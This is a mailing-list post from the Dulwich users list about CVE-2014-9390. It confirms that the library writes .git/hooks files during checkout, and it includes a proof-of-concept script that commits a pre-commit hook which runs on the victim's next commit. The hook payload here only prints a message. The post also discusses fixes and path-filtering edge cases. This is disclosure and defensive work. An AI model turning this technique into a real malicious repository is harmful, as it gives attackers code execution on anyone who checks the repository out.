dulwich-users team mailing list archive
Mailing list archive
Re: Git vulnerability CVE-2014-9390
On Thu, Dec 18, 2014 at 11:45 PM, Andi McClure <andi.m.mcclure@xxxxxxxxx> wrote:
> News is going around today about a potential-remote-code-execution vulnerability in the standard git clients:
> Is Dulwich potentially affected?
Yes. And not only on case insensitive file systems, like with git, but
I've attached a file to demonstrate it. It creates a repo with a
commit of a .git/hooks/pre-commit file. Git prevents writing this file
to the working tree, but dulwich happily writes it out.
/tmp % ./cve-2014-9390-create.py
/tmp % cd cve-2014-9390-repo.git
/tmp/cve-2014-9390-repo.git (git)-[master] % git reset --hard
error: Invalid path '.git/hooks/pre-commit'
HEAD is now at 1c27312 Evil commit
/tmp/cve-2014-9390-repo.git (git)-[master] % dulwich reset --hard
/tmp/cve-2014-9390-repo.git (git)-[master] % git commit -m "test" --allow-empty
You just got cracked! (not really but you could have been!)
[master 29a7100] test
For my own use cases of dulwich, I'm not affected by this as I only
ever read and write directly to repos with dulwich with out checking
out trees to a working tree. Do other users actually use the dulwich
index module, or porcilian commands.
How do we fix this? I assume we start by filtering what we write in
dulwich.index.build_index_from_tree? Filtering the case sensitive and
case insensitive cases is easy, but some of the other edge cases
("git~1" on windows, ".g\u200cit" on HFS+) are a little more tricky.
Do we care about preventing a user from adding these paths to the
from dulwich.repo import Repo
from dulwich.objects import Blob, Tree, Commit, parse_timezone
repo_dir = 'cve-2014-9390-repo.git'
repo = Repo.init(repo_dir)
evil_file = Blob.from_string("""#!/usr/bin/env python
print('You just got cracked! (not really but you could have been!)')
hooks_tree = Tree()
hooks_tree.add('pre-commit', 0o100755, evil_file.id)
git_tree = Tree()
git_tree.add('hooks', 0o40000, hooks_tree.id)
root_tree = Tree()
root_tree.add('.git', 0o40000, git_tree.id)
commit = Commit()
commit.tree = root_tree.id
author = "Dr. Evil <drevil@xxxxxxxxxxx>"
commit.author = commit.committer = author
commit.commit_time = commit.author_time = int(time.time())
tz = parse_timezone('-0200')
commit.commit_timezone = commit.author_timezone = tz
commit.encoding = "UTF-8"
commit.message = "Evil commit"
repo.refs['refs/heads/master'] = commit.id